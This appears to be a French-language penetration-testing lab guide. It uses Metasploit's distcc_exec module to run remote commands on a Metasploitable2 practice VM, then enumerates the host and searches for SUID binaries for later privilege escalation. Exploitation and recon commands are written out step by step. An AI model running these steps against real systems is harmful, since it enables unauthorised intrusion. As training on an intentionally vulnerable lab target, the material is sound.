Introduction
Dans ce laboratoire, vous utiliserez Metasploit pour exploiter le service distcc sur une cible Linux vulnérable, confirmer le contexte d'exécution à distance obtenu et collecter des informations système de base sur cette cible. Le flux de travail consiste à exécuter une commande distante à la fois depuis l'invite du module Metasploit, plutôt que via une session de shell interactive.
Le module distcc sur cette cible est fiable pour l'exécution de commandes à distance via cmd/unix/generic, mais il n'ouvre pas de shell persistant dans cet environnement. L'objectif pédagogique principal est de reconnaître ce comportement, de vérifier quel compte distant a exécuté chaque commande et de poursuivre l'énumération de la cible avec des commandes de suivi délibérées.
Préparation de l'environnement
Dans cette étape, nous allons démarrer les composants nécessaires de l'environnement de laboratoire, y compris le conteneur Kali Linux et la machine virtuelle Metasploitable2.
- Démarrez la machine virtuelle Metasploitable2 en exécutant la commande suivante dans le terminal :
sudo virsh start Metasploitable2
Attendez que la machine cible démarre ; cela peut prendre de 1 à 3 minutes.
- Vérifiez si la machine virtuelle a démarré en envoyant une requête ping à l'adresse IP cible :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
- Démarrez le conteneur Kali Linux et accédez à son shell bash :
docker run -ti --network host b5b709a49cd5 bash
- Dans le conteneur Kali, testez la connectivité réseau en envoyant un ping au nom d'hôte
target:
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
Obtention de l'accès initial à la machine cible
Dans cette étape, nous utiliserons le framework Metasploit (MSF) dans le conteneur Kali pour obtenir un accès initial à la machine cible Metasploitable2.
- Dans le conteneur Kali, démarrez la console Metasploit :
cd ~
msfconsole
- Dans la console Metasploit, utilisez le module d'exploitation
distcc_exec:
use exploit/unix/misc/distcc_exec
- Définissez le payload pour l'exécution générique de commandes à distance. Dans cet environnement, le module n'ouvre pas de shell interactif stable, vous devez donc exécuter une commande distante à la fois :
set payload cmd/unix/generic
- Définissez l'adresse IP de l'hôte cible :
set RHOST 192.168.122.102
- Définissez la première commande distante que vous souhaitez exécuter sur la cible :
set CMD whoami
- Lancez l'exploitation pour exécuter cette commande sur la machine cible :
run
Après une exécution réussie, vous devriez voir une sortie similaire à 192.168.122.102:3632 - stdout: daemon. Ce résultat signifie que la commande a été exécutée sur l'hôte Metasploitable2 distant en tant qu'utilisateur daemon.
Restez à l'invite msf6 exploit(unix/misc/distcc_exec) > pour les étapes suivantes. Pour chaque nouvelle commande distante, mettez à jour CMD et exécutez à nouveau le module.
Vérification des privilèges de l'utilisateur actuel
Après avoir obtenu l'exécution de commandes à distance, nous devons vérifier quel compte la cible a utilisé pour la commande et s'il dispose déjà de privilèges élevés.
Si vous avez quitté l'invite du module
distcc_exec, répétez la configuration Metasploit de l'étape 2 pour revenir àmsf6 exploit(unix/misc/distcc_exec) >.Définissez la commande distante pour vérifier l'utilisateur actuel :
set CMD whoami
- Exécutez le module pour lancer cette commande sur la cible :
run
- Définissez la commande distante suivante pour afficher l'ID utilisateur et les informations de groupe :
set CMD id
- Exécutez à nouveau le module :
run
Si la sortie affiche stdout: daemon et uid=1(daemon) gid=1(daemon), l'exploit exécute les commandes à distance en tant que compte daemon et non en tant que root. Vous auriez besoin d'une technique d'élévation de privilèges supplémentaire pour aller plus loin, mais pour ce laboratoire, nous nous concentrerons sur la validation de l'accès et la collecte de données de reconnaissance.
Restez à la même invite du module Metasploit pour l'étape suivante.
Énumération des informations système
Maintenant que vous avez confirmé votre niveau d'accès, rassemblez quelques détails sur le système cible afin d'identifier le type d'hôte que vous avez compromis.
Si vous avez quitté l'invite du module
distcc_exec, répétez la configuration Metasploit de l'étape 2 pour revenir àmsf6 exploit(unix/misc/distcc_exec) >.Définissez la commande distante pour vérifier la bannière de distribution Linux :
set CMD "cat /etc/issue"
- Exécutez le module :
run
Voici un exemple de la sortie que vous pourriez voir depuis la cible :
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- Définissez la commande distante suivante pour vérifier la version du noyau :
set CMD "uname -a"
- Exécutez à nouveau le module :
run
Voici un exemple de la sortie que vous pourriez voir depuis la cible :
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- Définissez la commande distante pour trouver les fichiers SUID qui pourraient être utiles pour une analyse post-exploitation ultérieure :
set CMD "find / -perm -u=s -type f 2>/dev/null"
- Exécutez le module une fois de plus :
run
Examinez la liste pour comprendre quels binaires privilégiés sont présents sur la cible. Les entrées exactes peuvent varier, mais vous devriez voir des chemins tels que /usr/bin/sudo et /usr/bin/nmap sur l'hôte compromis.
Une fois que vous avez fini d'inspecter la sortie, vous pouvez quitter Metasploit avec exit.
Résumé
Dans ce laboratoire, vous avez démarré l'environnement LabEx, utilisé le framework Metasploit pour exploiter le service vulnérable distcc et exécuté des commandes à distance contre la cible Metasploitable2 via cmd/unix/generic. Vous avez ensuite vérifié le contexte d'exécution à distance avec whoami et id afin de confirmer quel compte l'exploit a utilisé avant d'exécuter des commandes de suivi.
Vous avez également rassemblé des informations système de base sur l'hôte compromis en vérifiant sa bannière de distribution, sa version du noyau et les binaires SUID disponibles. Ces vérifications post-exploitation sont utiles pour confirmer l'accès obtenu et pour planifier une énumération plus approfondie sur une cible Linux.



